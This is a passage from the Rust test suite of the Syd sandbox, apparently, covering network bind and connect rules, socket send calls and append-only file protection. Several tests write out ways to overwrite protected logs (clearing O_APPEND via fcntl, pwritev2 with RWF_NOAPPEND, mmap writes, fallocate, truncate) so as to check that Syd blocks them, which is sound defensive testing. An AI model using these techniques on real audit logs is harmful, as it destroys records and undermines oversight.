// Tests if network connect sandboxing works to deny.
fn test_syd_network_sandbox_connect_ipv6_deny() -> TestResult {
    if !check_ipv6() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    let status = syd()
        .p("fs")
        .m("allow/exec,read,stat,walk+/***")
        .m("trace/allow_safe_bind:0")
        .m("allow/net/bind+::1!4242")
        .m("deny/net/connect+::1!4242")
        .do_("connect6", ["::1", "4242"])
        .status()
        .expect("execute syd");
    assert_status_connection_refused!(status);
    Ok(())
}

fn test_syd_network_sandbox_allow_safe_bind_ipv4_failure() -> TestResult {
    let status = syd()
        .log("info")
        .p("fs")
        .m("allow/exec,read,stat,walk+/***")
        .m("trace/allow_safe_bind:0")
        .m("allow/net/bind+127.0.0.1!0")
        .do_("connect4_0", ["127.0.0.1"])
        .status()
        .expect("execute syd");
    assert_status_connection_refused!(status);
    Ok(())
}

fn test_syd_network_sandbox_allow_safe_bind_ipv4_success() -> TestResult {
    let status = syd()
        .log("info")
        .p("fs")
        .m("allow/exec,read,stat,walk+/***")
        .m("trace/allow_safe_bind:1")
        .m("allow/net/bind+127.0.0.1!0")
        .do_("connect4_0", ["127.0.0.1"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_network_sandbox_allow_safe_bind_ipv6_failure() -> TestResult {
    if !check_ipv6() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    let status = syd()
        .log("info")
        .p("fs")
        .m("allow/exec,read,stat,walk+/***")
        .m("trace/allow_safe_bind:0")
        .m("allow/net/bind+::1!0")
        .do_("connect6_0", ["::1"])
        .status()
        .expect("execute syd");
    assert_status_connection_refused!(status);
    Ok(())
}

fn test_syd_network_sandbox_allow_safe_bind_ipv6_success() -> TestResult {
    if !check_ipv6() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    let status = syd()
        .log("info")
        .p("fs")
        .m("allow/exec,read,stat,walk+/***")
        .m("trace/allow_safe_bind:1")
        .m("allow/net/bind+::1!0")
        .do_("connect6_0", ["::1"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_handle_toolong_unix_connect() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/exec,read,stat,walk,write,chdir,mkdir+/***")
        .m("allow/net/bind+/***")
        .m("trace/allow_safe_bind:1")
        .do_("toolong_unix_connect", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_sendmsg_scm_credentials_one_linux() -> TestResult {
    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "sendmsg_scm_credentials_one")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_sendmsg_scm_credentials_many_linux() -> TestResult {
    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "sendmsg_scm_credentials_many")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_sendmsg_scm_credentials_one_sydbox() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/exec,read,stat,walk,write,create+/***")
        .m("allow/net/bind+!unnamed")
        .m("allow/net/connect+!unnamed")
        .do_("sendmsg_scm_credentials_one", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_sendmsg_scm_credentials_many_sydbox() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/exec,read,stat,walk,write,create+/***")
        .m("allow/net/bind+!unnamed")
        .m("allow/net/connect+!unnamed")
        .do_("sendmsg_scm_credentials_many", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_sendmsg_scm_rights_one() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("allow/net/bind+!unnamed")
        .m("allow/net/sendfd+!unnamed")
        .do_("sendmsg_scm_rights_one", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("allow/net/bind+!unnamed")
        .m("deny/net/sendfd+!unnamed")
        .do_("sendmsg_scm_rights_one", NONE)
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    Ok(())
}

fn test_syd_sendmsg_scm_rights_many() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("allow/net/bind+!unnamed")
        .m("allow/net/sendfd+!unnamed")
        .do_("sendmsg_scm_rights_many", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("allow/net/bind+!unnamed")
        .m("deny/net/sendfd+!unnamed")
        .do_("sendmsg_scm_rights_many", NONE)
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    Ok(())
}

fn test_syd_sendmmsg() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/exec,read,stat,walk,write,create+/***")
        .m("allow/net/bind+/***")
        .m("allow/net/bind+!unnamed")
        .m("trace/allow_safe_bind:1")
        .do_("sendmmsg", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_sendto_sigpipe_unix_stream_1() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_(
            "sendto_sigpipe_unix_stream",
            [MsgFlags::empty().bits().to_string()],
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_sendto_sigpipe_unix_stream_2() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_(
            "sendto_sigpipe_unix_stream",
            [MsgFlags::MSG_NOSIGNAL.bits().to_string()],
        )
        .status()
        .expect("execute syd");
    assert_status_broken_pipe!(status);
    Ok(())
}

fn test_syd_sendto_sigpipe_unix_stream_3() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_(
            "sendto_sigpipe_unix_stream",
            [MsgFlags::MSG_OOB.bits().to_string()],
        )
        .status()
        .expect("execute syd");
    assert_status_not_supported!(status);
    Ok(())
}

fn test_syd_sendto_sigpipe_unix_stream_4() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_(
            "sendto_sigpipe_unix_stream",
            [(MsgFlags::MSG_OOB | MsgFlags::MSG_NOSIGNAL)
                .bits()
                .to_string()],
        )
        .status()
        .expect("execute syd");
    assert_status_not_supported!(status);
    Ok(())
}

fn test_syd_sendto_sigpipe_unix_stream_5() -> TestResult {
    let status = syd()
        .p("fs")
        .m("trace/allow_unsafe_oob:true")
        .m("allow/all+/***")
        .do_(
            "sendto_sigpipe_unix_stream",
            [MsgFlags::MSG_OOB.bits().to_string()],
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_sendto_sigpipe_unix_stream_6() -> TestResult {
    let status = syd()
        .p("fs")
        .m("trace/allow_unsafe_oob:true")
        .m("allow/all+/***")
        .do_(
            "sendto_sigpipe_unix_stream",
            [(MsgFlags::MSG_OOB | MsgFlags::MSG_NOSIGNAL)
                .bits()
                .to_string()],
        )
        .status()
        .expect("execute syd");
    assert_status_broken_pipe!(status);
    Ok(())
}

fn test_syd_sendmsg_sigpipe_unix_stream_1() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_(
            "sendmsg_sigpipe_unix_stream",
            [MsgFlags::empty().bits().to_string()],
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_sendmsg_sigpipe_unix_stream_2() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_(
            "sendmsg_sigpipe_unix_stream",
            [MsgFlags::MSG_NOSIGNAL.bits().to_string()],
        )
        .status()
        .expect("execute syd");
    assert_status_broken_pipe!(status);
    Ok(())
}

fn test_syd_sendmsg_sigpipe_unix_stream_3() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_(
            "sendmsg_sigpipe_unix_stream",
            [MsgFlags::MSG_OOB.bits().to_string()],
        )
        .status()
        .expect("execute syd");
    assert_status_not_supported!(status);
    Ok(())
}

fn test_syd_sendmsg_sigpipe_unix_stream_4() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_(
            "sendmsg_sigpipe_unix_stream",
            [(MsgFlags::MSG_OOB | MsgFlags::MSG_NOSIGNAL)
                .bits()
                .to_string()],
        )
        .status()
        .expect("execute syd");
    assert_status_not_supported!(status);
    Ok(())
}

fn test_syd_sendmsg_sigpipe_unix_stream_5() -> TestResult {
    let status = syd()
        .p("fs")
        .m("trace/allow_unsafe_oob:true")
        .m("allow/all+/***")
        .do_(
            "sendmsg_sigpipe_unix_stream",
            [MsgFlags::MSG_OOB.bits().to_string()],
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_sendmsg_sigpipe_unix_stream_6() -> TestResult {
    let status = syd()
        .p("fs")
        .m("trace/allow_unsafe_oob:true")
        .m("allow/all+/***")
        .do_(
            "sendmsg_sigpipe_unix_stream",
            [(MsgFlags::MSG_OOB | MsgFlags::MSG_NOSIGNAL)
                .bits()
                .to_string()],
        )
        .status()
        .expect("execute syd");
    assert_status_broken_pipe!(status);
    Ok(())
}

fn test_syd_sendmmsg_sigpipe_unix_stream_1() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_(
            "sendmmsg_sigpipe_unix_stream",
            [MsgFlags::empty().bits().to_string()],
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_sendmmsg_sigpipe_unix_stream_2() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_(
            "sendmmsg_sigpipe_unix_stream",
            [MsgFlags::MSG_NOSIGNAL.bits().to_string()],
        )
        .status()
        .expect("execute syd");
    assert_status_broken_pipe!(status);
    Ok(())
}

fn test_syd_sendmmsg_sigpipe_unix_stream_3() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_(
            "sendmmsg_sigpipe_unix_stream",
            [MsgFlags::MSG_OOB.bits().to_string()],
        )
        .status()
        .expect("execute syd");
    assert_status_not_supported!(status);
    Ok(())
}

fn test_syd_sendmmsg_sigpipe_unix_stream_4() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .do_(
            "sendmmsg_sigpipe_unix_stream",
            [(MsgFlags::MSG_OOB | MsgFlags::MSG_NOSIGNAL)
                .bits()
                .to_string()],
        )
        .status()
        .expect("execute syd");
    assert_status_not_supported!(status);
    Ok(())
}

fn test_syd_sendmmsg_sigpipe_unix_stream_5() -> TestResult {
    let status = syd()
        .p("fs")
        .m("trace/allow_unsafe_oob:true")
        .m("allow/all+/***")
        .do_(
            "sendmmsg_sigpipe_unix_stream",
            [MsgFlags::MSG_OOB.bits().to_string()],
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_sendmmsg_sigpipe_unix_stream_6() -> TestResult {
    let status = syd()
        .p("fs")
        .m("trace/allow_unsafe_oob:true")
        .m("allow/all+/***")
        .do_(
            "sendmmsg_sigpipe_unix_stream",
            [(MsgFlags::MSG_OOB | MsgFlags::MSG_NOSIGNAL)
                .bits()
                .to_string()],
        )
        .status()
        .expect("execute syd");
    assert_status_broken_pipe!(status);
    Ok(())
}

fn test_syd_handle_toolong_unix_sendto() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/exec,read,stat,walk,write,chdir,mkdir+/***")
        .m("allow/net/bind+/***")
        .m("trace/allow_safe_bind:1")
        .do_("toolong_unix_sendto", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_handle_toolong_unix_sendmsg() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/exec,read,stat,walk,write,chdir,mkdir+/***")
        .m("allow/net/bind+/***")
        .m("trace/allow_safe_bind:1")
        .do_("toolong_unix_sendmsg", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_appendonly_prevent_clobber() -> TestResult {
    skip_unless_available!("diff", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/read,write,create:on")
        .m("allow/read,write,create+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
test -c "/dev/syd/append+/**/*.log"
for i in {1..8}; do
    echo $i >> test.raw
    echo $i > test.log
done
diff -u test.raw test.log
:>test.log
diff -u test.raw test.log
test -c "/dev/syd/append-/**/*.log"
:>test.log
test -s test.log && exit 1 || exit 0
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_appendonly_prevent_removal() -> TestResult {
    skip_unless_available!("diff", "rm", "sh", "unlink");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/read,write,create,delete,truncate:on")
        .m("allow/read,write,create,delete,truncate+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.log
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.raw
rm test.log
rm -f test.log
unlink test.log
test -e test.log || exit 1
diff -u test.raw test.log
test -c "/dev/syd/append-/**/*.log"
unlink test.log
test -e test.log || exit 0 && echo test.log exists
file test.log
exit 2
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_appendonly_prevent_rename() -> TestResult {
    skip_unless_available!("diff", "mv", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/read,write,create,delete,rename,truncate:on")
        .m("allow/read,write,create,delete,rename,truncate+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.log
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.raw
mv test.log test.lol
test -e test.log
diff -u test.raw test.log
test -c "/dev/syd/append-/**/*.log"
mv test.log test.lol
test -e test.lol
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_appendonly_prevent_truncate() -> TestResult {
    skip_unless_available!("diff", "sh", "truncate");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/read,write,create,delete,truncate:on")
        .m("allow/read,write,create,delete,truncate+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.log
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.raw
truncate -s0 test.log
diff -u test.raw test.log
test -c "/dev/syd/append-/**/*.log"
truncate -s0 test.log
test -s test.log && exit 1 || exit 0
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_appendonly_prevent_ftruncate() -> TestResult {
    skip_unless_available!("diff", "python3", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/read,write,create,delete,truncate:on")
        .m("allow/read,write,create,delete,truncate+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.log
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.raw
python3 <<'EOF'
import os
fd = os.open("test.log", os.O_WRONLY)
os.ftruncate(fd, 0)
EOF
diff -u test.raw test.log
python3 <<'EOF'
import os
fd = os.open("test.log", os.O_RDWR|os.O_TRUNC)
os.ftruncate(fd, 0)
EOF
diff -u test.raw test.log
test -c "/dev/syd/append-/**/*.log"
python3 <<'EOF'
import os
fd = os.open("test.log", os.O_WRONLY)
os.ftruncate(fd, 0)
EOF
test -s test.log && exit 1 || exit 0
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_appendonly_prevent_fcntl() -> TestResult {
    skip_unless_available!("diff", "python3", "sh");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/read,write,create,delete,truncate:on")
        .m("allow/read,write,create,delete,truncate+/***")
        .argv(["sh", "-cex"])
        .arg(
            r##"
test -c "/dev/syd/append+/**/*.log"
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.log
echo 'Change return success. Going and coming without error. Action brings good fortune.' > test.raw
echo 'All your logs belong to us!' >> test.raw
cat >test.py <<'EOF'
import os, fcntl
fd = os.open("test.log", os.O_WRONLY|os.O_APPEND)
fl = fcntl.fcntl(fd, fcntl.F_GETFL)
fl &= ~os.O_APPEND
fcntl.fcntl(fd, fcntl.F_SETFL, fl)
os.lseek(fd, 0, os.SEEK_SET)
os.write(fd, b"All your logs belong to us!\n")
os.close(fd)
EOF
cat test.py
python3 test.py
cat test.log
diff -u test.raw test.log
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_appendonly_prevent_pwritev2_1() -> TestResult {
    // RWF_NOAPPEND flag for pwritev2(2) is new in Linux-6.9.
    skip_unless_linux!(6, 9);
    // RWF_NOAPPEND flag is not supported by ZFS yet.
    skip_if_zfs!();

    // Prepare the victim file with arbitrary contents.
    // The sandbox break will attempt to overwrite this file's
    // contents despite Syd's append-only restrictions.
    let data = "Change return success. Going and coming without error. Action brings good fortune.";
    let mut file = File::create("./truncate_me")?;
    write!(file, "{data}")?;
    drop(file);

    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "pwritev2")
        .arg("./truncate_me")
        .arg("append")
        .arg("0")
        .arg("All your logs belong to us!")
        .status()
        .expect("execute syd-test-do");
    let code = status.code().unwrap_or(127);
    if code == ENOSYS {
        eprintln!("pwritev2 syscall is not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let new_data = read_to_string("./truncate_me")?;
    assert!(
        !new_data.starts_with(data),
        "pwritev2 failed: `{new_data}' starts with `{data}'"
    );
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_appendonly_prevent_pwritev2_2() -> TestResult {
    // RWF_NOAPPEND flag for pwritev2(2) is new in Linux-6.9.
    skip_unless_linux!(6, 9);
    // RWF_NOAPPEND flag is not supported by ZFS yet.
    skip_if_zfs!();

    // Prepare the victim file with arbitrary contents.
    // The sandbox break will attempt to overwrite this file's
    // contents despite Syd's append-only restrictions.
    let data = "Change return success. Going and coming without error. Action brings good fortune.";
    let mut file = File::create("./truncate_me")?;
    write!(file, "{data}")?;
    drop(file);

    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "pwritev2")
        .arg("./truncate_me")
        .arg("no-append")
        .arg("0")
        .arg("All your logs belong to us!")
        .status()
        .expect("execute syd-test-do");
    let code = status.code().unwrap_or(127);
    if code == ENOSYS {
        eprintln!("pwritev2 syscall is not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let new_data = read_to_string("./truncate_me")?;
    assert!(
        !new_data.starts_with(data),
        "pwritev2 failed: `{new_data}' starts with `{data}'"
    );
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_appendonly_prevent_pwritev2_3() -> TestResult {
    // RWF_NOAPPEND flag for pwritev2(2) is new in Linux-6.9.
    skip_unless_linux!(6, 9);
    // RWF_NOAPPEND flag is not supported by ZFS yet.
    skip_if_zfs!();

    // Prepare the victim file with arbitrary contents.
    // The sandbox break will attempt to overwrite this file's
    // contents despite Syd's append-only restrictions.
    let data = "Change return success. Going and coming without error. Action brings good fortune.";
    let mut file = File::create("./truncate_me")?;
    write!(file, "{data}")?;
    drop(file);

    let status = syd()
        .p("off")
        .m("append+/**/truncate_me")
        .do_(
            "pwritev2",
            [
                "./truncate_me",
                "append",
                "0",
                "All your logs belong to us!",
            ],
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code == ENOSYS {
        eprintln!("pwritev2 syscall is not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let new_data = read_to_string("./truncate_me")?;
    assert!(
        new_data.starts_with(data),
        "append-only violation: `{new_data}' doesn't start with `{data}'"
    );
    assert_status_operation_not_supported!(status);

    Ok(())
}

fn test_syd_appendonly_prevent_pwritev2_4() -> TestResult {
    // RWF_NOAPPEND flag for pwritev2(2) is new in Linux-6.9.
    skip_unless_linux!(6, 9);
    // RWF_NOAPPEND flag is not supported by ZFS yet.
    skip_if_zfs!();

    // Prepare the victim file with arbitrary contents.
    // The sandbox break will attempt to overwrite this file's
    // contents despite Syd's append-only restrictions.
    let data = "Change return success. Going and coming without error. Action brings good fortune.";
    let mut file = File::create("./truncate_me")?;
    write!(file, "{data}")?;
    drop(file);

    let status = syd()
        .p("off")
        .m("append+/**/truncate_me")
        .do_(
            "pwritev2",
            [
                "./truncate_me",
                "no-append",
                "0",
                "All your logs belong to us!",
            ],
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code == ENOSYS {
        eprintln!("pwritev2 syscall is not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let new_data = read_to_string("./truncate_me")?;
    assert!(
        new_data.starts_with(data),
        "append-only violation: `{new_data}' doesn't start with `{data}'"
    );
    assert_status_operation_not_supported!(status);

    Ok(())
}

fn test_syd_appendonly_prevent_pwritev2_5() -> TestResult {
    // RWF_NOAPPEND flag for pwritev2(2) is new in Linux-6.9.
    skip_unless_linux!(6, 9);
    // RWF_NOAPPEND flag is not supported by ZFS yet.
    skip_if_zfs!();

    // Prepare the victim file with arbitrary contents.
    // The sandbox break will attempt to overwrite this file's
    // contents despite Syd's append-only restrictions.
    let data = "Change return success. Going and coming without error. Action brings good fortune.";
    let mut file = File::create("./truncate_me")?;
    write!(file, "{data}")?;
    drop(file);

    let status = syd()
        .p("off")
        //.m("append+/**/truncate_me")
        .do_(
            "pwritev2",
            [
                "./truncate_me",
                "append",
                "0",
                "All your logs belong to us!",
            ],
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code == ENOSYS {
        eprintln!("pwritev2 syscall is not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let new_data = read_to_string("./truncate_me")?;
    assert!(
        !new_data.starts_with(data),
        "pwritev2 failed: `{new_data}' starts with `{data}'"
    );
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_appendonly_prevent_pwritev2_6() -> TestResult {
    // RWF_NOAPPEND flag for pwritev2(2) is new in Linux-6.9.
    skip_unless_linux!(6, 9);
    // RWF_NOAPPEND flag is not supported by ZFS yet.
    skip_if_zfs!();

    // Prepare the victim file with arbitrary contents.
    // The sandbox break will attempt to overwrite this file's
    // contents despite Syd's append-only restrictions.
    let data = "Change return success. Going and coming without error. Action brings good fortune.";
    let mut file = File::create("./truncate_me")?;
    write!(file, "{data}")?;
    drop(file);

    let status = syd()
        .p("off")
        //.m("append+/**/truncate_me")
        .do_(
            "pwritev2",
            [
                "./truncate_me",
                "no-append",
                "0",
                "All your logs belong to us!",
            ],
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code == ENOSYS {
        eprintln!("pwritev2 syscall is not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let new_data = read_to_string("./truncate_me")?;
    assert!(
        !new_data.starts_with(data),
        "pwritev2 failed: `{new_data}' starts with `{data}'"
    );
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_appendonly_prevent_mmap_1() -> TestResult {
    // Prepare the victim file with arbitrary contents.
    // The sandbox break will attempt to overwrite this file's
    // contents despite Syd's append-only restrictions.
    let data = "Change return success. Going and coming without error. Action brings good fortune.";
    let mut file = File::create("./truncate_me")?;
    write!(file, "{data}")?;
    drop(file);

    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "mmap_write_offset")
        .arg("./truncate_me")
        .arg("mmap")
        .arg("0")
        .arg("All your logs belong to us!")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    let new_data = read_to_string("./truncate_me")?;
    assert!(
        !new_data.starts_with(data),
        "mmap failed: `{new_data}' starts with `{data}'"
    );

    Ok(())
}

fn test_syd_appendonly_prevent_mmap_2() -> TestResult {
    // Prepare the victim file with arbitrary contents.
    // The sandbox break will attempt to overwrite this file's
    // contents despite Syd's append-only restrictions.
    let data = "Change return success. Going and coming without error. Action brings good fortune.";
    let mut file = File::create("./truncate_me")?;
    write!(file, "{data}")?;
    drop(file);

    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "mmap_write_offset")
        .arg("./truncate_me")
        .arg("mprotect")
        .arg("0")
        .arg("All your logs belong to us!")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    let new_data = read_to_string("./truncate_me")?;
    assert!(
        !new_data.starts_with(data),
        "mmap failed: `{new_data}' starts with `{data}'"
    );

    Ok(())
}

fn test_syd_appendonly_prevent_mmap_3() -> TestResult {
    // Prepare the victim file with arbitrary contents.
    // The sandbox break will attempt to overwrite this file's
    // contents despite Syd's append-only restrictions.
    let data = "Change return success. Going and coming without error. Action brings good fortune.";
    let mut file = File::create("./truncate_me")?;
    write!(file, "{data}")?;
    drop(file);

    let status = syd()
        .p("off")
        //.m("append+/**/truncate_me")
        .do_(
            "mmap_write_offset",
            [
                "./truncate_me",
                "mmap",
                "0",
                "All your logs belong to us!",
            ],
        )
        .status()
        .expect("execute syd");

    let new_data = read_to_string("./truncate_me")?;
    assert!(
        !new_data.starts_with(data),
        "mmap failed: `{new_data}' starts with `{data}'"
    );
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_appendonly_prevent_mmap_4() -> TestResult {
    // Prepare the victim file with arbitrary contents.
    // The sandbox break will attempt to overwrite this file's
    // contents despite Syd's append-only restrictions.
    let data = "Change return success. Going and coming without error. Action brings good fortune.";
    let mut file = File::create("./truncate_me")?;
    write!(file, "{data}")?;
    drop(file);

    let status = syd()
        .p("off")
        //.m("append+/**/truncate_me")
        .do_(
            "mmap_write_offset",
            [
                "./truncate_me",
                "mprotect",
                "0",
                "All your logs belong to us!",
            ],
        )
        .status()
        .expect("execute syd");

    let new_data = read_to_string("./truncate_me")?;
    assert!(
        !new_data.starts_with(data),
        "mmap failed: `{new_data}' starts with `{data}'"
    );
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_appendonly_prevent_mmap_5() -> TestResult {
    // Prepare the victim file with arbitrary contents.
    // The sandbox break will attempt to overwrite this file's
    // contents despite Syd's append-only restrictions.
    let data = "Change return success. Going and coming without error. Action brings good fortune.";
    let mut file = File::create("./truncate_me")?;
    write!(file, "{data}")?;
    drop(file);

    let status = syd()
        .p("off")
        .m("append+/**/truncate_me")
        .do_(
            "mmap_write_offset",
            ["./truncate_me", "mmap", "0", "All your logs belong to us!"],
        )
        .status()
        .expect("execute syd");

    let new_data = read_to_string("./truncate_me")?;
    assert!(
        new_data.starts_with(data),
        "append-only violation: `{new_data}' doesn't start with `{data}'"
    );
    assert_status_access_denied!(status);

    Ok(())
}

fn test_syd_appendonly_prevent_mmap_6() -> TestResult {
    // Prepare the victim file with arbitrary contents.
    // The sandbox break will attempt to overwrite this file's
    // contents despite Syd's append-only restrictions.
    let data = "Change return success. Going and coming without error. Action brings good fortune.";
    let mut file = File::create("./truncate_me")?;
    write!(file, "{data}")?;
    drop(file);

    let status = syd()
        .p("off")
        .m("append+/**/truncate_me")
        .do_(
            "mmap_write_offset",
            [
                "./truncate_me",
                "mprotect",
                "0",
                "All your logs belong to us!",
            ],
        )
        .status()
        .expect("execute syd");

    let new_data = read_to_string("./truncate_me")?;
    assert!(
        new_data.starts_with(data),
        "append-only violation: `{new_data}' doesn't start with `{data}'"
    );
    assert_status_access_denied!(status);

    Ok(())
}

fn test_syd_appendonly_prevent_fallocate_1() -> TestResult {
    // Prepare the victim file with arbitrary contents.
    // The sandbox break will attempt to overwrite this file's
    // contents despite Syd's append-only restrictions.
    let data = "Change return success. Going and coming without error. Action brings good fortune.";
    let mut file = File::create("./truncate_me")?;
    write!(file, "{data}")?;
    drop(file);

    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "fallocate_file")
        .arg("./truncate_me")
        .arg("zero")
        .arg("0")
        .arg(data.len().to_string())
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    let new_data = read_to_string("./truncate_me")?;
    assert!(
        !new_data.starts_with(data),
        "fallocate failed: `{new_data}' starts with `{data}'"
    );

    Ok(())
}

fn test_syd_appendonly_prevent_fallocate_2() -> TestResult {
    // Prepare the victim file with arbitrary contents.
    // The sandbox break will attempt to overwrite this file's
    // contents despite Syd's append-only restrictions.
    let data = "Change return success. Going and coming without error. Action brings good fortune.";
    let mut file = File::create("./truncate_me")?;
    write!(file, "{data}")?;
    drop(file);

    let status = syd()
        .p("off")
        .m("append+/**/truncate_me")
        .do_(
            "fallocate_file",
            ["./truncate_me", "zero", "0", &data.len().to_string()],
        )
        .status()
        .expect("execute syd");

    let new_data = read_to_string("./truncate_me")?;
    assert!(
        new_data.starts_with(data),
        "append-only violation: `{new_data}' doesn't start with `{data}'"
    );

    // syd turns fallocate into a no-op.
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_crypt_prevent_append_change() -> TestResult {
    skip_unless_kernel_crypto_is_supported!();
    skip_unless_available!("diff", "python3", "sh");

    let key = key_gen_test().expect("key_gen_test");
    let cwd = current_dir(false)?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,write,create,delete,truncate:on")
        .m("allow/read,write,create,delete,truncate+/***")
